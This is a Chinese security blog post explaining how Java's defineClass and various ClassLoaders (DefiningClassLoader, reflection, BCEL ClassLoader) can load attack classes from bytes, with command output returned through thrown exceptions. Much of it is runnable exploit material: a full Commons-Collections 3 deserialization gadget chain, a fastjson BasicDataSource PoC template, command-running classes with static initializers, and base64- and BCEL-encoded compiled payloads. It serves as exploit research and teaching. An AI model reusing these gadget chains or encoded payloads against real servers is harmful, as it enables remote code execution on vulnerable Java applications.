type
Post
status
Published
date
Dec 9, 2022
slug
summary
tags
Java
category
技术分享
icon
password
Property
Mar 15, 2023 09:16 AM

前提

当我看到这篇weblogic漏洞分析文章(https://www.cnblogs.com/unicodeSec/p/13451993.html)时,里面的一句话让我想做个试验
notion image
那么他是怎么实现回显的呢

defineClass定义

简单了解下java.lang.ClassLoader.defineClass的官方定义
notion image
正常情况下,java会先调用classLoader去加载.class文件,然后调用loadClass函数去加载对应的类名,返回一个Class对象。而defineClass提供了另外一种方法,从官方定义中可以看出,defineClass可以从byte[]还原出一个Class对象,这种方法,在构造java反序列化利用和漏洞poc时,变得非常有用。

利用抛错回显

本地demo

在利用defineclass构造回显之前,我们先看看一个普普通通的文件是如何执行命令并回显的,注入文件代码及结果如下:
package com.java.desr; import java.io.*; public class R { public static void exec(String cmd) throws Exception{ String s = ""; int len; //设置byte写入缓存buffer byte[] buffer = new byte[1024]; BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),1024); while((len = bis.read(buffer,0,1024)) != -1) s += new String(buffer,0,len); bis.close(); throw new Exception("*************************" + s + "*************************"); } public static void main(String[] args) throws Exception { exec("ipconfig"); } }
notion image

loadClass 加载类

常规的回显思路是用URLClassLoader去加载一个.class或是.java文件,然后调用loadClass函数去加载对应类名,返回对应的Class对象,然后再调用newInstance()实例出一个对象,最后调用对应功能函数,在目标类文件中利用抛错的方法,将回显结果带出来
先将上面的本地回显demo文件进行修改,去掉项目文件的相对地址,最后打包成jar包。参考:https://blog.csdn.net/Che_yibuhe_yibu/article/details/125721025
import java.io.*; public class R { public void exec(String cmd) throws Exception{ String s = ""; int len; //设置byte写入缓存buffer byte[] buffer = new byte[1024]; BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),1024); while((len = bis.read(buffer,0,1024)) != -1) s += new String(buffer,0,len); bis.close(); throw new Exception("*************************" + s + "*************************"); } // public static void main(String[] args) throws Exception { // exec("ipconfig"); // } }
然后根据上面URLClassLoader加载文件的思路去加载生成的.jar包,在利用反射去调用R类中的exec方法,实现命令执行
public static void main(String[] args) throws Exception { URLClassLoader cls = new URLClassLoader(new URL[]{new URL("file:E:\\IDE\\R.jar")}); Class cl = cls.loadClass("R"); Method m = cl.getMethod("exec", String.class); m.invoke(cl.newInstance(),"ipconfig"); }
notion image
问题来了,但是这样的前提是存在一个像这样恶意的文件,如何写入文件的方法大致参考FileOutputStream

defineClass 加载类

利用DefiningClassLoader

上面存在的小问题在于得写入或落地一个文件,才可加载类。那么defineClass的出现就可以实现灵活的加载类了
将我们编译好的.class或是.jar文件转换成byte[]放到内存当中,然后直接用defineClass加载byte[]返回Class对象。那怎么调用defineClass函数呢,因为默认的defineClass是java.lang.ClassLoader的函数,而且是protected属性,无法直接调用(这里暂且不考虑反射
notion image
而且java.lang.ClassLoader类也无法被transform函数加载,这里我们使用org.mozilla.classfile.DefiningClassLoader(JDK1.6),或引入rhino.jar中的org.mozilla.javascript.DefiningClassLoader(JDK1.8)
首先将我们编译好的.jar文件转换成base64
public static String encryptToBase64(String filePath) { if (filePath == null) { return null; } try { byte[] b = Files.readAllBytes(Paths.get(filePath)); return Base64.getEncoder().encodeToString(b); } catch (IOException e) { e.printStackTrace(); } return null; } //调用 String clb64 = encryptToBase64("E:\\IDE\\R.class"); System.out.println(clb64);
yv66vgAAADQASQoAFAAjCAAkBwAlCgAmACcKACYAKAoAKQAqCgADACsKAAMALAcALQoACQAjCgAJAC4HAC8KAAwAMAoACQAxCgADADIHADMIADQKABAANQcANgcANwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARleGVjAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANU3RhY2tNYXBUYWJsZQcANgcALwcAOAcAJQEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAGUi5qYXZhDAAVABYBAAABABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0HADkMADoAOwwAGQA8BwA9DAA+AD8MABUAQAwAQQBCAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEMARAEAEGphdmEvbGFuZy9TdHJpbmcMABUARQwARgBHDABIABYBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAZKioqKioqKioqKioqKioqKioqKioqKioqKgwAFQAaAQABUgEAEGphdmEvbGFuZy9PYmplY3QBAAJbQgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UAIQATABQAAAAAAAIAAQAVABYAAQAXAAAAHQABAAEAAAAFKrcAAbEAAAABABgAAAAGAAEAAAADAAEAGQAaAAIAFwAAANwABgAGAAAAdhICTREEALwIOgS7AANZuAAEK7YABbYABhEEALcABzoFGQUZBAMRBAC2AAhZPgKfACO7AAlZtwAKLLYAC7sADFkZBAMdtwANtgALtgAOTaf/0hkFtgAPuwAQWbsACVm3AAoSEbYACyy2AAsSEbYAC7YADrcAEr8AAAACABgAAAAeAAcAAAAFAAMACAAKAAkAIAALADEADABRAA4AVgAPABsAAAAwAAL/ACAABgcAHAcAHQcAHQAHAB4HAB8AAP8AMAAGBwAcBwAdBwAdAQcAHgcAHwAAACAAAAAEAAEAEAABACEAAAACACI=
再将以上base64转换成byte,后续利用org.mozilla.javascript.DefiningClassLoaderdefineClass实现类动态加载,为什么这个类中的defineClass可以直接使用呢,因为他重写了defineClass而且是public属性,正好符合我们要求
notion image
实现代码及效果如下:
//将class转换成base64 String clb64_str = encryptToBase64("E:\\IDE\\R.class"); System.out.println(clb64_str); //将base64转换成byte BASE64Decoder decoder = new BASE64Decoder(); byte[] cl_bt = decoder.decodeBuffer(clb64_str); //调用defineClass加载byte[]中的class文件 DefiningClassLoader cls = new DefiningClassLoader(); Class cl = cls.defineClass("R", cl_bt); Method m = cl.getMethod("exec", String.class); m.invoke(cl.newInstance(),"ipconfig");
notion image

利用Thread中的classLoader

接着反射调用java.lang.ClassLoader中的defineClass
ClassLoader loader = Thread.currentThread().getContextClassLoader(); Method decl = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); decl.setAccessible(true); Class declIn = (Class) decl.invoke(loader,"R", cl_bt, 0, cl_bt.length); Method m = declIn.getMethod("exec", String.class); m.invoke(declIn.newInstance(),"ipconfig");

利用重写java.lang.classLoader

继承重写一个public的classLoader,用于调用defineClass
package com.java.desr; public class myClassLoader extends ClassLoader { public Class<?> defineClass(String name, byte[] b) { return defineClass(name, b, 0, b.length); } }
Class cler = Class.forName("com.java.desr.myClassLoader"); Method decl = cler.getDeclaredMethod("defineClass", String.class, byte[].class); decl.setAccessible(true); Class declIn = (Class) decl.invoke(cler.newInstance(),"R", cl_bt, 0, cl_bt.length); Method m = declIn.getMethod("exec", String.class); m.invoke(declIn.newInstance(),"ipconfig")

坑坑洼洼

当我刚开始直接利用java.lang.classLoader作为classLoader,会有以下报错
notion image
notion image
所以,不能直接将java.lang.classLoader实例化作为classLoader,但是可以利用别的classLoader(不管是protect还是啥)去反射调用java.lang.classLoader中的defineClass进行加载

结合CC3构造反序列化payload

这里以java原生的java.io.ObjectInputStreamread的readObject()作为反序列化函数,以commons-collections-3.2作为payload(JDK为1.8_20)
以上所有代码如下:
package com.java.desr; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.misc.BASE64Decoder; import org.mozilla.javascript.DefiningClassLoader; public class Test { public static void pwn(String execArgs, byte[] bt) throws Exception { final Transformer[] transforms = new Transformer[] { new ConstantTransformer(DefiningClassLoader.class), //new ConstantTransformer(ClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[0] }), new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[0] }), new InvokerTransformer("defineClass", new Class[] { String.class, byte[].class }, new Object[] { "R", bt }), new InvokerTransformer( "newInstance", new Class[] {}, new Object[] {}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {execArgs}),new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transforms); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, (Transformer)null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); //序列化与反序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(instance); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } public static String encryptToBase64(String filePath) { if (filePath == null) { return null; } try { byte[] b = Files.readAllBytes(Paths.get(filePath)); return Base64.getEncoder().encodeToString(b); } catch (IOException e) { e.printStackTrace(); } return null; } public static void main(String[] args) throws Exception { //将class转换成base64 String clb64_str = encryptToBase64("E:\\IDE\\R.class"); System.out.println(clb64_str); //将base64转换成byte BASE64Decoder decoder = new BASE64Decoder(); byte[] cl_bt = decoder.decodeBuffer(clb64_str); pwn("ipconfig",cl_bt); //调用defineClass加载byte[]中的class文件 // DefiningClassLoader cls = new DefiningClassLoader(); // Class cl = cls.defineClass("R", cl_bt); // Method m = cl.getMethod("exec", String.class); // m.invoke(cl.newInstance(),"ipconfig"); //URLclassLoader调用 // URLClassLoader cls = new URLClassLoader(new URL[]{new URL("file:E:\\IDE\\R.jar")}); // Class cl = cls.loadClass("R"); // Method m = cl.getMethod("exec", String.class); // m.invoke(cl.newInstance(),"ipconfig"); } }
notion image

fastjson用例

fastjson早期的命令执行漏洞利用poc在服务器不出网的情况下用到了com.sun.org.apache.bcel.internal.util.ClassLoader。
首先简单说一下漏洞原理,如下是利用poc的格式:
{ { "@type": "com.alibaba.fastjson.JSONObject", "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
fastjson默认开启type属性,可以利用上述格式来设置对象属性。该poc主要以来tomcat自带的tomcat-dbcp.jar中的org.apache.tomcat.dbcp.dbcp.BasicDataSource组件,用来连接数据库的驱动程序。在BasicDataSource存在一个getConnection函数,满足getter要求,他调用了createDataSource函数
notion image
createDataSource去调用createConnectionFactory
notion image
在createConnectionFactory函数使用Class.forName加载类
notion image
从代码可以看出driverClassName和driverClassLoader是可控的。所以当com.alibaba.fastjson.JSONObject. parseObject解析上述poc后,会跟进到图中Class.forName()反射加载类的逻辑,同时将driverClassLoader和driverClassName设置为json指定的内容。到这里简单叙述了一下fastjson漏洞的原理,一句话概括就是利用fastjson默认的type属性,操控了相应的类,进而操控Class.forName()的参数,可以使用任意ClassLoader去加载任意代码,达到命令执行的目的。
从上述的fastjson漏洞关键点代码中,借以下两种执行代码的方法扩展一下本文章的中心点:
1、Class.forName(classname) 2、Class.forName(classname, true, ClassLoaderName)

Class.forName(classname)

通过控制classname执行代码,实行一个反射类加载demo
Class.forName("com.fastjson.pwn.run");
加载的com.fastjson.pwn.run类代码如下:
package com.fastjson.pwn; import java.io.*; public class run { static { String str = exec("ipconfig"); if(true) { throw new RuntimeException(str); } } public static String exec(String cmd) { try { String s = ""; int len; int bufSize = 4096; byte[] buffer = new byte[bufSize]; BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1) s += new String(buffer, 0, len); bis.close(); return s; } catch (Exception e) { return e.getMessage(); } } }
这里利用了java的一个特性,利用静态代码块static{}来执行,当com.fastjson.pwn.run被Class.forName加载的时候,代码便会执行

Class.forName(classname, true, ClassLoaderName)

以com.sun.org.apache.bcel.internal.util.ClassLoader作为classLoader,那么classname则是一串经过BCEL编码的.class文件,所以我们先写一个恶意class文件
package com.fastjson.pwn; import java.io.BufferedInputStream; public class evil{ static{ String str = exec("ipconfig"); if(true) { throw new RuntimeException(str); } } public static String exec(String cmd) { try { String s = ""; int len; int bufSize = 4096; byte[] buffer = new byte[bufSize]; BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime() .exec(cmd) .getInputStream(), bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1) s += new String(buffer, 0, len); bis.close(); return s; } catch (Exception e) { return e.getMessage(); } } }
将以上编译成class文件后,借助工具生成一串BCEL编码
notion image
那么利用demo如下
package com.fastjson.pwn; public class pwntest { public static void main(String[] args) throws Exception { String classname = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dS$5bW$SQ$U$fe$O$b7$c1i$bc$80$90bRvS$90t$ca$ec$a2$a8$V$a6E$82Z$g$z$96$bd$8c$c3$815$G3$y$Y$cc$7f$d3c$af$f6$C$aeh$d5$7b$cf$fd$87$feE$b6gD$c4$cbZ$c5$b0$f6$cc$d9$d7o$7fg$ef$9f$7f$be$7e$H0$8d$d7$o$G0$ea$c5$98$80$88$88$u$c6$z$R$Tq$H$T$o$9c$98$b4$84$y$e0$ae$88$$$8cZ$e2$9e$80$v$R$S$ee$5b$87i$cb$fc$40$c0C$R$7dx$e4$c5c$R$971$p$60VD$Aq$Bs$C$e6$Z$3cs$9a$ae$99$L$M$ceH4$c3$e0Z4r$9c$a17$a5$e9$7c$b5V$da$e6$95Me$bbH$g$X$df$e3$w$c3h$q$b5$a3$ec$wrQ$d1$L$f2$86Y$d1$f4B$3cz$5e$c5$d0$bda$w$ea$87$b4R$b6$e3$J$97$80$Fj$83$e00x$e7$d4b$ab$aa$b8a$d4$w$w_$d6$ac$g$5d$7cW$xNZ$c9$q$M$o$c4$A$86$xvn$cd$90$T$b5$7c$9eWx$$$a9$97k$s$95$e1JI$c0$T$JO$f1L$c20$S$C$W$r$3c$c7$92$V$ba$y$e1$F$5e2$M$9c$F$96$a8i$c5$i$afHH$e2$VC$dfY$b3$V$bb$o$n$85$b4$84U$L$40$ff$89$c7$d2$9e$ca$cb$a6f$e8$S$d6$90$a6$s$b4$b2j$e8y$ad$60U$P3$M$9d$b8$be$a9$e9$a6V$e2$j$R$83Xg$I$aaFI$ce$xUs$a7j$e8r$f9$a3$$$5b$fd$9e$82$b1$b6$bd$c3U$93$c1$b1$95$60$f0$9d$cbH$7c$V$b8$d9$3e$E$p$9d$d4$b7$d4$c4$fd$d8$3f$$i$bdb$a8$bcZ$8d$9f$w$d1R2$f4P$89$O$92$89$c5$e32t$L$j$G$K$PE$$4$q$edI$a2$cf$i$83$Q$d9J$q$93$d1$qM$9aR$$s$9dT$T$ff5C$ad$ab$8a$b7SPN$afi$i$Z$Z$C$91$L$c7$ce$ad$W$8dj$8b$a74$b5$a3$Ul$9e$$$u$98$c1u$da$87$BX$3f$t$N$g$N$i$c9$n$3a$85$e9M$b3$H$f7x$D$ec$L$ec$v$q$e99R$d2f$N$db$$$96$ebo$d2z$e8$fd$de$efH$f9$fa$b0$Q$fe$e6$9du5$e1$cc$k$c05$5e$87$bb$OO$b8$Ba$d6$jr$87$5c$cep$j$de$ec$bc$e3$Tn6$d1$95m$40$8c$d5q$a9$J$vK$b6$e1$G$ba$e9TGO$ea$f3$e1$af$QE$f6$c6$f6S$e4$e0$db$b7$eb$beE$86$d6$d8a$p$99$a2$V$Hz$J$b6$P$C$fct$ea$a7$95$OP3A$8cP$p2$b5$b2F$9e$9b$844CX$df$e1$w$3d$c0$M$9c$87$e4$e0$Rp$8d$fe$60$CF$Eb$B$87$98$3cV$b2$O$a5$c7$f2$b0$ddn$c0$8b$9bm$7eb6_$E$c0$ef$3f$40$ffJ$T$81$y1$V$fc$d1fJ$q$9c$md$k$e2$8a$e1$W$7d$3bp$fb$_$f3$91c$92$d6$E$A$A"; ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader(); Class.forName(classname, true, cls); //Class.forName("com.fastjson.pwn.run"); } }
notion image
这是什么意思捏,我们debug跟进看看
Class.forName -> Class.forName0 -> java.lang.ClassLoader.loadClass -> com.sun.org.apache.bcel.internal.util.ClassLoader
notion image
判断classname如果经过了BCEL编码,则解码获取Class文件,而且从debugger中可以看到evil.class文件的结构
notion image
notion image
最用利用defineClass还原出evil.class中的evil类,因为evil类中使用static{},所以在加载过程中代码执行
notion image

参考

小结

利用defineClass在运行时状态下,将我们精心构造的class文件加载进入ClassLoader,通过java的static{}特征,将直接导致代码执行
SpEL表达式注入源码分析vCenter-快照抓取锁屏机器内存Hash